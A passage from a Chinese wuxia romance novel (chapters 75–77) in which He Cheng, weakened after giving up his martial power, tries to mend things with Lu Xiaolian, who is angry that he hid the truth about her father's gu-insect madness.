担心惊动陆岳修体内好不容易被平静下来的失心蛊,金波飞快将瓷罐用布严严实实包裹好,收回怀中。不放心地探头看了陆岳修一眼,确认他依旧安然睡着,金波才继续解释:“这不是我养的蛊虫,却一直在我近身处活动,陆伯伯体内的失心蛊蛊虫护主,大概以为有人要害我,才会操控陆伯伯挣脱锁链来救我。” “不过,现在没事了。”金波拍拍胸脯,“放心吧,我已经安抚过它了。” 得了下一任南疆圣女的保证,沈懿行稍稍松了口气。 一旁许久没有说话的贺承忽然出声问金波:“你说失心蛊能操做中蛊之人,那么,给师——”他稍稍一顿,旋即改了口:“给陆掌门下蛊之人,是不是想借陆掌门之手,去做些什么事?比如,去杀什么人。” “不错,失心蛊最常见的用法便是借刀杀人。一般下蛊者会先让蛊虫熟悉目标的气息,之后蛊虫发现目标,便会操纵中蛊之人诛杀目标。炼失心蛊很麻烦的,但要是炼得好,中蛊人看上去是与常人无异的,非常隐蔽。这只蛊虫应该是我之前没炼好的,不知道被谁捡了去,竟然用到陆伯伯身上!” 解释到这里,金波恍然大悟:“贺大哥的意思是,我们可以从陆伯伯所杀之人入手,追查究竟是谁把陆伯伯当做杀人的刀,对不对?” “不对。”贺承脸色忽然沉下来,声音也冷如寒泉,直截了当地给金波淋了一头冷水,“陆掌门并未杀过人。” 贺承的这波情绪来得毫无预兆,不仅金波眨巴着眼睛接不上话,连陆晓怜和沈懿行也蹙着眉头看过来。他自知失态,抿紧了嘴唇沉默不语,如此相持片刻,他缓缓站起身:“既然已经没事,我就先走了。” 沈懿行看过来,目光遽然一紧:“你的伤——” 顺着他的目光,贺承神情恍惚地低头,也看见了自己衣衫上被腰腹间的伤晕染出的血迹。他不慌不忙伸手拢了拢外袍,遮挡那片刺目的红:“没事,我回屋自己重新上药。” 贺承边说,边转过身往外走,却站在囚室栅栏旁,看着外面的血肉狼藉,不由顿住脚步。善后工作有条不紊地进行着,一息尚存的伤者已被抬走治疗,此时外面横七竖八叠放的,是来不及收拾的尸身和残破的躯干,遍地是横流的血水,犹如隔着汪洋,他这一步怎么也迈不出去。 怔忪间,沈懿行已经走到他身边,扶住他的肩膀:“别看了,我送你回去。” 贺承摇头:“刑堂落得这般境地,全因我而起,你不去体恤他们,反而来维护照顾我,如何能稳人心?” 沈懿行不以为然:“跟你有什么关系?难道那失心蛊是你下的?” “我——”贺承是想说点什么,关于他的身世,关于失心蛊,可故事太长,牵扯太广,他自己都还没有理出头绪,不知从何说起,只轻轻叹了口气,劝他,“总之,你留下吧,我能自己回去。” 沈懿行从来拗不过他,求助地看向陆晓怜。 其实即便沈懿行不用眼神示意,陆晓怜也是要站出来的。她有话要问贺承,这里人多口杂,确实不适合说事情。借着沈懿行递出来的梯子,陆晓怜迈了一步:“沈楼主,楼中事务要紧,我送他回去吧。” 这一句话里,陆晓怜没有执意要喊贺承“师兄”,也没有冷冰冰地连名带姓喊“贺承”,她用了一个不冷不热的“他”字,一如他们此刻的关系,捉摸不清,暧昧不明。 从刑堂回小红楼的路不长,但对此时的贺承而言,却不能算短。 陆晓怜只在最初时,问了贺承一句“还好吗?要不要我扶着你?”。被贺承婉拒后,她便不再多说什么,只默默陪着他往房间走去。 贺承隐约知道陆晓怜在赌气,否则,不会明知他伤重,还执意走得飞快。可他不清楚她究竟在气什么,只能尽力追赶她,脚步匆匆,难免牵扯腰腹间那道已经重新撕裂开的伤。伤口渗出的血水越来越多,失血之下,贺承浑身发冷,抬脚迈出的每一步都重逾千斤。到达房间时,他已几乎脱力,跌坐在圈椅之中,伏在椅子扶手上,脸色惨白,冷汗涔涔。 陆晓怜咬着嘴唇看他,语气里尽是无奈:“你一定要这样子吗?” “什么?”贺承挣扎着抬头看她,声音弱不可闻。 陆晓怜看着贺承惨白如纸的脸,咬着牙硬了一路的心肠还是顷刻间软了下来。她没有应他,半扶半抱地将虚弱得坐不稳的人挪到床上去,在他身后塞了一块软枕,一言不发地解开他的中衣,将已经浸满血水的纱布取下,露出他腰腹间那道狰狞可怖的伤口。 她当然记得这道伤是怎么来的。 那日在逐月阁,孟元经挥着重剑向她砍来,她无处着力避无可避,是贺承飞身上来将她牢牢护在怀中,不顾后心大开,任由孟元经的剑刺穿他的身体。 贺承一直把她保护得很好,即使早已遍体鳞伤,他也要用自己的血,为她描一幅姹紫嫣红的盛世人间。 陆晓怜的手发着抖,小心翼翼地为贺承换药。 药粉撒落在伤口上,贺承疼得一颤,陆晓怜一时没忍住,盈出眼眶的眼泪簌簌滴落到她自己手背上。贺承安抚地拍拍她的肩膀:“没事的,也没有很疼,不要哭。” 陆晓怜没理,甚至连头也没抬,只闷头换药,将绷带缠好了,去找了身干净的衣裳给贺承换上。 做完这一切,陆晓怜并没有走。 她像只晕头转向的蜜蜂在屋子里兜兜转转了好一会,既不知道要做些什么,又舍不得离开。最后终于忍不住,她又问了贺承一遍:“你一定要这样子吗?” 贺承茫然:“什么样子?” 陆晓怜瞟了一眼一旁染血的纱布:“刚刚你明明早就走不动了,明明跟不上我,你宁愿伤口撕得更厉害,流更多的血,也不肯跟我说。为什么呢?你为什么会有那么多不能跟我说的事?以前分明不是这样子的。” 以前,以前是什么样子?跟现在又有什么不一 样? 贺承失血之下头脑发昏,并没能听懂陆晓怜的话,只怔怔看着她。 陆晓怜深吸一口,深深望进贺承眼中,要将他目光中一丝一毫的波澜都清清楚楚看在眼里。她一字一顿地问他:“你之前都在说谎,我爹在青山城时便已经身中失心蛊,江非沉、叶飞白、孟元纬,还有我大哥,都是我爹发狂时所伤的,甚至你自己,经脉遭受重创,不得不承受凤尾续魂针之苦,也是拜我爹所赐,对不对?” 第75章 第七十五章见日陆晓怜比贺承以为的…… 贺承知道陆晓怜自小聪明,可他没有想到,只是见了陆岳修一面,她便能在这么短的时间里,将当日无涯洞外发生的事,猜出了七八分。 他怔怔看着陆晓怜,脑中一片空白,一时不知如何应对。 陆晓怜大大方方抬眼看过来:“你不说话,是在想,事已至此,还有什么办法可以骗我吗?”她并不是在质问他,只是想要心平气和地同他讨论些什么:“我猜,你没有对沈楼主隐瞒什么吧?南门前辈和潘前辈大概也是知道事情始末的,对不对?” 贺承没有开口,可沉默也是一种回应。 陆晓怜轻笑:“这不是第一次了。之前在庐川城你也是这样,你的计划里总是有许多人参与,只是永远不会有我,对吗?” “我,我只是不希望你被牵扯进那些不好的事情里。” “不是的。”陆晓怜抿紧了嘴唇,倔强而清醒,“你是不相信我。” 这大抵是贺承从来没有设想过的答案。 他怎么会不相信陆晓怜呢?他们青梅竹马一起长大,他们从小无话不谈,他们可以在任何时候毫无保留地向对方交付出自己的后背,他怎么会不相信她呢? 贺承猝然支起身子,牵扯到伤口,他脸上掠过一丝痛色,却一心只顾着向陆晓怜辩解:“我怎么会不相信你?即便我沦为众矢之的,受人唾弃谩骂,你也一直信我护我,我自然也是一样相信你的,无论你做什么,都不会想要害我……” “我说的不是这种相信。”陆晓怜打断他。 她的目光平静而清亮,她没有生气没有怨怼,只是平静地同他说话:“是你不相信我可以与你并肩而行,是你觉得我会成为阻碍你行事的绊脚石!所以你将我隔绝在你要做的每一件事情之外,你宁愿我恨你,宁愿我将你看做仇人,也从未想过,也许我愿意,也有能力,与你风雨同路。” “我只是……” “你只是为我好,对吗?”陆晓怜平静地打断贺承,“即使你我从此老死不相往来,你也是在为我好,对吗?” 要说的话,被陆晓怜抢了先,贺承一时无言。 看着贺承分明伤病交加,虚弱得坐都坐不住,却还是强撑着与她说话的模样,陆晓怜心里又疼又气。贺承好不容易捡回来半条命,身体状况糟糕到了极点,她不想咄咄逼人地激他,可站起身想走,手腕立刻被贺承握住。 贺承的手指冷得像一截寒冰,僵硬地扣在陆晓怜手腕上。他支撑得辛苦,勉力抬起的手,搭在她腕上微微发颤,孱弱的声音也隐隐发着颤:“我错了,你别气了……” 他们之间一轮一轮地积累了太多事情,她并不会被他一句讨饶似的“别气了”哄好。看着贺承的身体摇摇欲坠,陆晓怜一颗心像是被人紧紧地攥住,又闷又疼,她是有很多话想要质问他,可此刻显然不是最好的时机。 三思之后,陆晓怜深深吸了口气,轻轻拉下贺承虚虚扣在自己手腕上的手,小心地扶他躺好:“你累了,先休息吧。” 贺承分明倦意刻骨,眼中的光明明灭灭,几乎要散了,他却不肯阖眼:“我不累。” 陆晓怜已经替他掖好被子,垂着手,不远不近地站在床边:“这几日发生了太多事,我想静静,我们过几日再谈。” 贺承还是不放心:“那你就待在枕风楼,不要乱跑,要听沈懿行的话……” 他犹如交代五六岁的小孩子一般细致,陆晓怜心里生出不耐烦:“我知道,你睡吧。” 再次撕裂的伤口感染发热,贺承的这一觉比他自己预计的要稍长一些,醒来时已是第三日晌午,守在他房间里的不是陆晓怜,已经换做贺启。 贺承与贺启虽然不是亲兄弟,可自小相依为命,风雪里相拥着活下来,感情要比寻常人家的兄弟还要亲厚。与贺启在西江城重逢后,出了太多事,贺承仔细想来,自己竟还没同贺启好好说几句话。 他稍稍侧过脸,一眼便看见蹲在床边,紧张盯着自己的贺启。 贺承觉得好笑,多少年过去,贺启还是和小时候一样,喜欢在他睡着时,蹲在他床边。 仿佛只是一眨眼,当年瘦小可怜的豆芽菜已经长成了玉树临风的少年郎。 可是已经与贺承一般高的少年,在兄长的病榻前依旧不知所措,像小时候一样,小心翼翼地缩在床边的阴影里,犹如守着一轮明月一般地,悄无声息地守着他的兄长。 贺承朝贺启伸出手,贺启立刻像一只小狗般凑上来,拉着兄长枯瘦冰凉的手,声音哽咽:“哥,对不起……” 贺承失笑:“吓傻了?怎么还道起歉来了?” 贺启拉着贺承的手,跪坐在床边,把下巴抵在床沿上,红着眼睛看着哥哥,半晌才挤出话来:“我,如果我能再快一点,和沈大哥早到一点,兴许你就不用自废武功了,现在也就不会这样虚弱。” “傻子。”贺承瞥了贺启一眼,有些嫌弃,“净想些没用的。” “不过这样也好。小的时候,都是你照顾我,现在你病了,换我来照顾你。”贺启拉着贺承的手,只顾仰着头对他呵呵傻乐,“哥,你说我们现在像不像小时候?每回我醒得比你早,就这样蹲在床边等着你醒过来。你知道吗?这个位置是我精心挑选过的,你一睁眼就能看见我。” 小时候,兄弟俩相依为命,贺承迷迷糊糊中会下意识去摸躺在身边的贺启,有时摸了个空,猛然睁眼,总能恰好看到他就蹲在眼前。 以前他没有深想过为什么贺启起了床,也不跑出门玩儿,就乖乖蹲着他跟前玩手指。多年之后,听贺启说起其中花费的心思,只觉得又是温暖又是心疼。 往事夹在冷厉的风中,可再难捱的苦寒,都已经齐心协力地走过去了,贺承笑意温和:“你从小就懂事。” “哥,无论你做了什么,无论你想做什么,我都会永远陪着你的。”贺启看着贺承,眸光微动,“所以,无论他们说什么,他们做什么,你都不要难过,好不好?” 贺承脸色一僵:“他们……是指谁?” 贺启抿紧了嘴唇,半天没出声,只期期艾艾地问:“我们不回青山城了好不好?随便在哪里找座小院子,像小时候一样,就我们兄弟俩相依为命,好不好?” 贺启没有说明, 可越是闪烁其词,越显得可疑。 想起之前陆晓怜说的话,贺承心中隐隐不安。之前,陆晓怜已经大致猜到了无涯洞外那场意外的始末,顺其自然地,她不会把陆兴剑的死算在贺承身上。既然如此,为什么贺启会这么说?陆晓怜、庄荣、钟晓,他们究竟怎么了? 想到这些古怪,贺承眉头紧了起来:“晓怜、师叔,还有钟晓,他们怎么了吗?” “也没怎么了,听说西江城里这么一闹,青山城的师兄弟们也被惊动了,师父等不及你醒,便带着几位师弟赶回去了。” 将近一年前从青山城出走至今,贺承与庄荣也是许久没见,也不知道以后还有没有机会再见到,好不容易见这一回,都来不及跟庄荣说会话,于贺承而言,不能说不遗憾。 贺承神色黯淡,又问:“那晓怜和钟晓呢?” “屠堂主说师兄的眼睛能治好,金姑娘陪着他治伤呢。至于晓怜师姐——”贺启有些迟疑,“晓怜师姐也在师兄那里。我不知道她是不是因为掌门师伯和陆师兄的事还对你有怨,总之,她待你好像和之前不大一样了。” “怎么不一样?” 贺启有些迟疑地开口:“你在西江城受伤的时候,晓怜师姐守在你房里,半步也不舍得走,可这一回,你昨日高热昏厥,她都没来看你。” 小姑娘显然是还在生气。 如今真相大白,陆兴剑的死,陆岳修的伤,都不能算在贺承头上,陆晓怜当然不是因为父兄的死伤怨恨他,只是这些事桩桩件件被贺承瞒得天衣无缝,连身为至亲的她都不能知晓分毫,她是气贺承骗她瞒她。 人是他气的,自然也只能由他去哄。 得知屠勇今日为钟晓治眼伤,陆晓怜就在隔壁陪着金波,贺承再躺不住,裹上大氅,不理睬贺启的阻拦,脚步虚浮地往隔壁钟晓住的屋子去。 枕风楼有七层高,七层高楼之上,北风呼啸,将檐角悬挂的惊鸟铃扯得发疯般狂响。已经是呵气成冰的腊月,贺承推门出来,被冷风一扑,便忍不住掩着唇咳嗽起来。他身形单薄,咳得身子发颤几乎站不稳,风将他的衣摆扯得翩然。 陆晓怜听见动静抬眼看过来时,只觉得贺承一步步走来,像极了一只落单的、受伤的飞鸟,几乎要摧折在凛冬的寒风中。 她身边站着为钟晓担心得发抖的金波,所以没能去迎他。 所幸距离不算长,所幸有贺启在他身边陪着,即使不容易,他终究还是站到了她眼前。她像一棵硬直的树,稳稳地支撑着此刻六神无主的金波,也像树一般,僵硬地立在那里,迎接仿佛从千万里之外向她奔赴而来的贺承。 她不想让他看到自己熬得通红的眼,微微垂下视线,聊起钟晓:“屠堂主说钟晓的眼睛伤了表面的一层膜,能治,只要换一副完好的眼膜就行。他在屋里给钟晓换眼膜,要我们在外面等着。” “等很久了吗?” “有一会儿了,应该快好了吧。” 陆晓怜随口应着,目光或是低垂着看到地上,或是透过额前碎发的间隙悄悄瞟紧闭的房门,始终没有往贺承脸上看一眼。 贺承脚步微动,站到她身边去,温声问她:“累不累?冷不冷?” 边说着,贺承边抬手准备脱下自己的大氅,可领口的系带还没解开,有一只温热的手覆到他冰凉的手背上。 陆晓怜阻止住他解系带的动作,依旧是垂着眼,轻声说:“你记得吗?是你自己说的,你我之间,除了仇怨,不该再有别的关系。所以,即便我被冻死,也不该接受你的衣裳,对吧?” 第76章 第七十六章起风最坏,不过是陆晓怜…… 话确实是贺承说的,就在不远之外的那个房间里,就在记忆尚未及湮灭的前几天。 那时,陆晓怜还没有亲眼看见残暴嗜血的陆岳修,也还没有猜出无涯洞外那场风波的前因后果,贺承以为他能瞒得住,以为只要他忍辱负重担下所有罪名,便能保住陆岳修的至诚高节,便能保住青山城的风平浪静。 最坏,不过是陆晓怜恨他,不过是他与陆晓怜老死不相往来。 反正他如今身无所长,拖着一身沉疴,早非良配,陆晓怜安安生生地当她的青山城大小姐,以后总还是会遇见很好的人。 可陆岳修发作得不是时候。 他一声清啸,不仅蓄力挣脱了铁链,也撕破了贺承为陆晓怜苦心经营着的太平假象。 原本,贺承就不希望陆晓怜知道陆岳修如今面目全非的模样,事与愿违,她不仅亲眼见到了她的父亲凶狠暴戾地造下另一场杀戮,更顺藤摸瓜地猜到了无涯洞外发生过什么,挖掘出被藏匿起的真相的冰山一角。 十八九岁的小姑娘,被整座青山城的人那么小心翼翼地护着,哪里见过什么罪什么恶,哪里知道隔着肚皮放着的那颗人心深不可测,哪里知道世间路深沟高壑举步艰难,头一回见到世事险恶,刀子便劈到她最亲最近的父兄身上—— 她怎么会不怕?怎么会不慌? 她小的时候,连打雷,连听到贺启胡乱编造的故事,都怕得彻夜睡不着觉。她干净清透得像一捧雪,也脆弱易散得像一捧雪,他不放心,也舍不得她亲历世事炎凉。 可此刻,贺承印象里的那蓬松散柔软的白雪好似已在不知不觉间凝成了冰冻多年的寒冰,冰冷而坚硬地立在那里,连他也被拒在千里之外。 陆晓怜拉下他要去解下披风的手,她拒绝直截了当,令贺承一时无措。 幸而,钟晓的房门在下一刻被推开,替贺承掩饰过尴尬的气氛。 屠勇推门出来,看见贺承脸色惨白地站在冷风里,不禁蹙眉,却又知道这个人连楼主沈懿行都劝不动,索性也不多话,只微微颔首算是打过招呼,转而走向金波:“已经给钟少侠换上眼膜,再等些日子,伤口长好了,就能与之前无异。” 金波松口气,可手上还绞着衣角,还是紧张:“在眼睛上动刀子,他是不是很疼?” 屠勇笑笑:“他醒着,刚刚也问起金姑娘了,你不如自己去问他。” 人是清醒的,大夫也同意探望,那自然没有理由耽搁。金波向来想做什么,便立刻要去做,顾不得与屠勇多说,抬脚便往屋子里冲。 相比咋咋呼呼的金波,陆晓怜更稳重些,拦着屠勇多问了几句钟晓的伤情。隔行如隔山,即便屠勇很努力地解释,陆晓怜最终也没听懂多少,倒是贺启仿佛对在人眼睛上面动刀子很感兴趣,期间追问了好几个问题,末了,还自告奋勇跟着屠勇去给钟晓抓药。 贺承是与贺启一起来的,贺启跟着屠勇走了,便显得他形单影只起来。 陆晓怜无意跟他站在这里吹冷风,也无意安排他的去留,只朝房门的方向抬了抬下巴,不冷不热地说:“我去看看钟晓,你自便。” 北风猎猎中,贺承扶着栏杆笑意缥缈,朝陆晓怜摆摆手:“你去,我改日再来看他。” 陆晓怜觉得古怪,因为庄荣的缘故,贺承与钟晓的关系比其他其他师兄弟要亲近许多,按说,他都已经站在房门外了,没道理不进屋看一看钟晓。 那日在西江城石鼓路的小院中,贺承刚刚醒来,只听陆晓怜提及一句钟晓伤了眼睛,便顾不得自己伤重执意要去开他。今日他已经站到了钟晓房门口,却不肯多迈出一步,进到房间里看看他。 究竟是为什么? 他是不想去看望钟晓?还是说,他只是不想同她一起去看望钟晓? 因为心里装着事,神昏意乱,陆晓怜强作镇定地转过身,没顾上在意身后的动静,便没有听见有一串脚步声,沉重而凌乱,由近而远,跌跌撞撞地远去。 那脚步声几乎称得上是是落荒而逃,贺承踉踉跄跄,走得很急。 他的房间与钟晓的房间相隔得不远,他推开房门,几乎摔进房间里。 贺承也不知道自己怎么了。明明屠勇从钟晓房中出来时还是好好的,可他们讨论钟晓的伤情时,贺承开始觉得不对劲,从指尖开始寸寸发麻,脏腑都像是被什么东西沉沉拉着往下坠,他难受得几乎站不住。 南门迁夫妇不在,屠勇是此刻枕风楼里唯一精通医术的人,他就站在面前,可他刚刚为钟晓治过伤,还要去为钟晓配药,外用的,内服的,要操心的事有许多,桩桩件件都由他亲自经手最好最周全。 贺承不想屠勇分心,只紧紧扶住栏杆勉强站住,目送着屠勇和贺启走远,目送着 陆晓怜转身进屋,才跌跌撞撞地往自己的房间走。 没想到,险些找不到。 贺承跌坐在地上,费力地抬起手去够另一扇门,花了很大力气,才掩上门,将自己完完全全藏匿在这空无一人的房间里。 他倚门坐着,不禁苦笑,失去一身功力后,连生病受伤的感受都是不一样的。 之前受伤,是疼,在奇经八脉、五脏六腑里,有一只手反复撕扯,或是有一蓬针肆意游走的疼,尖锐而猛烈,像是夏日的一场暴雨,酣畅热烈。 而今,他只觉得累,像看不到尽头的阴天,没有风,没有雨,只是沉甸甸地压着,令人喘不过气来,连勾一勾手指的力气都没有了。 仰靠着房门,贺承艰难地喘息着。胸口仿佛压了一块巨石,每一次呼吸都不及肺腑,他抵着胸口闷声咳嗽,胸腔里气息涌动,咳嗽声越发剧烈起来。 他孱弱至极,单薄的身子咳得剧烈颤抖,他再坐不住,身子歪歪斜斜往一侧倒伏下去。侧倒在地上,贺承意识还是清醒的,身上却一点力气也没有,他觉得自己像一条搁浅的鱼,在岸边垂死挣扎。 剧烈地咳嗽带出零星的一点血沫,喷溅在贺承苍白的掌心里。 他其实早就习以为常。当初带着陆岳修来找沈懿行帮忙时,周身经脉被伤得厉害,他便是这样一路咳着血来的,可这回却不大一样,这回没有那么疼。 这一回,只剩下无边无尽的疲惫,好像有一股力量要将他拖入水底,而他无力抵抗,只能放任自己沉下去,睡下去。 不仅是屠勇,包括沈懿行在内,整座枕风楼都是忙碌的。 而贺承是众人朝乾夕惕间的漏网之鱼,独自悄然昏睡,又独自悄然醒来。他将自己收拾妥当,再次走向钟晓房间探望已是暮色四合。 正是晚饭的时点,金波陪着钟晓吃饭。 满室温馨安然是被贺承打破的。 那时,金波正夹着一块胡萝卜递到钟晓嘴边,耐着性子哄他:“再吃一块嘛,书上说胡萝卜对眼睛好,你不想赶紧看见我吗?” 敲门声恰好响起,贺承在门外问:“我能进来吗?” 金波仿佛得了救兵:“贺大哥,你快来!”她皱着鼻子,向推门而入的贺承告状:“他挑食,他不肯好好吃饭,贺大哥,你管管他!” 算起来,钟晓受伤目不能视已经有段时日了,吃饭喝水这样的小事早就应对自如。可因为今日屠勇刚刚在钟晓身上动过刀子,金波将他看得分外金贵,连汤匙筷箸都舍不得劳动他一点,汤羹餐食盛在汤匙中,晾到适宜的温度,小心翼翼递到钟晓嘴边。 钟晓不是被骄纵着养大的孩子,他是练功受伤时,连请贺承或贺启替他上药,都怕给他们添麻烦的人,此刻却安闲自在地靠坐在床头,理所当然接受着金波的悉心照料。 贺承看看钟晓,又看看金波手里的碗筷,揶揄笑道:“钟师弟这是越活越回去了,吃饭还要人喂要人哄?怎么好意思把人家堂堂南疆圣女当照顾你的老妈子使唤?” 钟晓脸皮薄,又从来将他贺师兄的话奉为圭臬。他此刻看不见贺承的脸色,唯恐将贺承的责备当做玩笑,一时如坐针毡,脸颊发烫,被覆在眼睛上的雪白纱布一衬,他脸上的红晕分外显眼。 向贺承告状说钟晓挑食是一回事,误打误撞让钟晓坐立不安又是另一回事,金波连忙打岔:“是我自己要喂他吃饭的,他眼睛还看不见,不方便……” 不料,金波替钟晓争辩的话音未落,被贺承一句话说得恨不得钻进地下去的钟晓已经寻着声音过来,准确地叼走金波夹着的那块胡萝卜。 贺承忍着笑,看着金波手里空荡荡的筷子,挑眉不语。 金波尴尬地抓抓头发,嘿嘿干笑:“他自己能做到是一回事,我想要照顾他是一回事嘛。” 南疆的姑娘热烈而直接,谈论起女儿心事从来不加遮掩。金波大大方方地握着钟晓的手:“我不能替他受伤替他疼,力所能力地,也不过是陪他,他愿意被我照顾,愿意告诉他哪里不舒服,其实也是反过来照顾我的不安心。贺大哥,之前你受伤,晓怜姐姐不也是这样的吗?” 拿着陆晓怜来类比,自与陆晓怜重逢以来的点滴如走马灯般在贺承心头一一转过。在南州城江家酒肆重逢之初,“沈烛”也是伤病缠身,陆晓怜却鲜少亲力亲为地照顾他,后来在百花谷中确认了身份,他再有伤病,她便不再假人之手。 大抵便是如金波说的,“沈烛”与她何干?她只是凭着一腔善意,出于道义尽力为他安排罢了,而贺承与她而言却大不相同,她在意,她心疼,她想分担所有她能为他分担的东西。 可是,他却将她拒之门外! 贺承好像这时候才想明白,陆晓怜究竟在气什么。他看着金波,讷讷发问:“如果钟晓再也看不见了,不愿意耽误你,想办法支开你,让人把你送回南疆,你会生气吗?” 明明只是个假设,可金波却当了真,她骄傲地抱着胸仰着头,气势昂扬:“怎么可能不生气!不管出于什么原因,他让我走,说到底都是因为我们之间的感情不够重。”她斩钉截铁:“既然他轻视这段感情,他不要我,那我自然也不会再要他。” 尚未复明的钟晓是这个问题唯一受害者,听着金波气呼呼地说话,忙伸手去拉她,着急忙慌地解释:“师兄只是提了个假设,你怎么还生气了?” 贺承盯着他俩紧紧交握的手,喃喃低语,仿佛挣扎着向谁争辩:“我不是轻视我们的感情,我没有不要她……” 第77章 第七十七章息山这回不骗你。 贺承没有在钟晓房间里待很长时间。 一方面是他不好意思继续打扰金波和钟晓的浓情蜜意,一方面是他要去找陆晓怜,一时一刻都等不了,立即要见到她。 枕风楼就那么大,要找到陆晓怜并不难。 息山上有一处练武场,贺承没有费多大力气,金波就松了口,说陆晓怜这几日从早到晚,都待在那里。贺承也不知道小时候散漫偷懒的小姑娘,为什么突然开了窍,数九寒冬里,也要卯时起亥时歇地勤奋练功。 暮色笼罩下来,山路越发难行。 贺承武功尽失,脚力不比之前,并不是多高的山坡,他深一脚浅一脚地走了多半个时辰,本就觉得吃力,偏偏半途还簌簌下起了雪。寒风卷着雪粒刮过贺承的眉骨,打得生疼,他将冻得发僵的手往大氅里缩了缩,只伸出两根手指捏着灯笼的竿子,留着那一盏颤巍巍的灯火,破开前路的昏暗阴沉。 走了许久,贺承终于看见有一排灯烛在山路那头与他遥遥相对。 那便是枕风楼设在息山半山腰上的练武场。 枕风楼包容得很,期间弟子学什么的都有,息山的练武场彻夜点着灯,供那些勤奋好学者使用。虽然这么冷的天,若不是面临着什么迫在眼睫的困难,再勤奋好学的弟子,也不会愿意从温暖的小红楼跑到息山上来吹冷风,可练武场上的那排灯烛还是要点着的。 风雪交叠,灯火摇曳,暮色吞吐着半山腰上那方小小的练武场,也吞吐着练武场上,那道纤细而倔强的身影。 风雪渐大,上山的青石阶梯上已经覆盖上了薄薄一层积雪。贺承扶着山道旁的青松微微喘息,腰腹间的旧伤隐隐作痛,冷风呛入肺腑间,有一股腥气蠢蠢欲动。 他没急着出声,在一旁悄悄看着陆晓怜。 风雪飘渺间,他想起一些以前在青山城里的事情。青山城没有枕风楼冷,向阳的山坡上,甚至整个冬天,树木都还是绿的。可那么温暖的青山城,到了冬日,陆晓怜也是不乐意动弹的,她嫌横秋剑的剑柄冻手,她嫌剑光太亮晃眼睛,她总是能想出稀奇古怪的借口偷懒,可是只要她开口,他总要不可避免地败下阵来。 那时他和大师兄陆兴剑商量过的,那么娇那么软的小姑娘,纵容她是理所应当的事情,她不想练功便不练吧,喜欢去山上捉鸟弄花便去吧,反正他们会刻苦勤奋,日后不会让任何人欺负到她头上的。 不曾想,天有不测风云。 如今,陆兴剑和他,一个意外英年早逝,一个成了弱不禁风的废人,年少的豪言壮志,烟消云散,化作泡影。 横秋剑在暮色中划出银光,陆晓怜仿佛一夕之间开了窍,不仅内力大增,剑招也越发行云流水,剑势也凌厉非常,剑 锋挑起积雪,犹如惊涛骇浪撞上堤岸激荡起一簇簇雪白水花。 陆晓怜手腕一翻,剑尖指地,剑气纵横,地上薄薄的一层积雪渐次裂开一道痕迹,斗折蛇行,直延伸至练武场边沿的那一层青松脚下。 剑气震荡,青松轻颤,簌簌抖落薄薄一层积雪。 青松下正站着贺承,风疾天寒,被积雪一扑,他禁不住抵着唇闷声咳嗽起来。 横秋剑剑势稍停,陆晓怜手腕一松,横秋剑剑尖向下,低低垂下。她没有回头,雪色之中,她身形挺拔,平静得像一口无波的古井,可如墨的黑发之间斜斜插着的发簪垂下来一串流苏,银光却兀自颤巍巍地闪着。 陆晓怜问:“你怎么来了?” 已然被发现了踪迹,无需再藏,贺承从树影后走出,鞋底踩过枯枝的脆响在寂静中格外刺耳。他在陆晓怜眼前站定,抬手扣住她执剑的手:“天太冷,来接你回去。” 陆晓怜不动声色地挣脱开:“我想再练一会。” 她抬眼看过来,目光清亮,她并不是在同贺承赌气,她是真的想要练剑。 贺承微微一怔,退了半步,随手折下一节枯枝:“那我陪你。” 陆晓怜愕然抬头,望进贺承澄澈眼中。 他确实曾是江湖上人人惊才的少年郎,可他已经在西江城里自行散尽了一身功力。 陆晓怜的迟疑之间,贺承手腕一翻,已将枯枝横在身前:“我内力散尽,青山剑法的招式却还是记得的,陪你过几招,不成问题。” “可你的伤……” 贺承不语,腕骨轻转,指掌微动,枯枝横斜而出,已朝陆晓怜门面直奔而去。他脚下步伐微动,边往前移去,边清喝道:“当心了!” 这一招以树枝为剑,失了内劲的招式软绵无力,角度却刁钻古怪,陆晓怜横过横秋剑,以剑背阻挡,她并未使力,可之前灌注在横秋剑上的内力犹有余威,顷刻间贺承手中的枯枝被剑气震得裂开细纹。 贺承的剑法确实精妙,有他喂招,比自己在黑灯瞎火里摸索不知强多少倍。 陆晓怜不再与贺承讨价还价,沉下心来,认真与他切磋。 \“师兄当心,我来了。” 陆晓怜脸上映着盈盈雪光,眉梢眼角落了星点雪花。她的眉眼是暖的,雪籽在她脸上化做柔软的水,可她的剑势却是冷的是硬的,说话间,凭空又添出三分凌厉来。 她挽了个剑花,旋过身去,踏出飞溅的雪沫,逼得贺承后退半步。 地上是薄薄的一层雪,鞋底在微微结冰的地上打滑,贺承就势斜撤一步,自侧面去刺陆晓怜的侧腰:“剑花挽得漂亮没用,真打起架来,别让这些东西拖累得失了先机。” 陆晓怜不吭声,却将他的话听了进去,下一招起势干净利落,直朝贺承肩膀刺去。 贺承眼皮微抬,望着陆晓怜被雪光照得发白的侧脸。她自由闲适地长大,鲜少有这样认真的时候,目光冷静而坚定,嘴唇抿得发白,漂亮锋利得像她手里的横秋剑。 只是切磋,陆晓怜当然没有伤贺承的心,那一剑朝贺承而来,剑势却不快。贺承刻意没有闪躲,慢悠悠地横过枯枝去化解,赞道:“你这一剑干净利落,若是够快,确能一举刺中,可它太过直接,若对手比你还要快,轻易便能化解,你得想好后招。” 陆晓怜眉眼一挑,有些得意:“你怎么知道我没想好?” 话音刚落,横秋剑裹着雪粒划出半弧,朝贺承腰腹间的伤处刺来。 “好一手明修栈道暗度陈仓!”贺承目光含笑,“还知道挑人薄弱处攻击,聪明!” 边说着,贺承边抽回枯枝,仓促去挡陆晓怜这一剑。 横秋剑不轻不重地撞上去,没料到那树枝枯朽非常,竟经受不住这一剑,应声而断。意外横生,陆晓怜收势不及,横秋剑竟真的朝贺承腰间直直刺去。 贺承腰腹之间本就有伤! “师兄!”陆晓怜瞳孔骤缩。 剑势卷着风雪,掀起贺承的披风,剑尖几乎就要触及他的衣角。 贺承内力尽失,轻功也是施展不开的。眼看这一剑就要刺破他的皮肤,他却后撤一步踩上一块薄雪半化的青石,借着脚下湿滑的地面,竟滑步后撤出一丈远,有惊无险地避开这一招。 “师兄!”陆晓怜心有余悸,收剑入鞘,快步朝他奔来。 她又是惊又是怕,惊慌之间顾不得许多,地上凸起的碎石绊了一下,勉强站稳,正落在山坡边沿的一块青石上。 暮色昏昏,青石光滑,沾了半化的薄雪更是闪亮。 那块青石就在山坡边沿上,贺承心惊肉跳,却强作镇定地安抚陆晓怜:“我没事,你别急,地上滑,你慢慢过来……” 他的话未及说完,人已朝陆晓怜扑了过去。 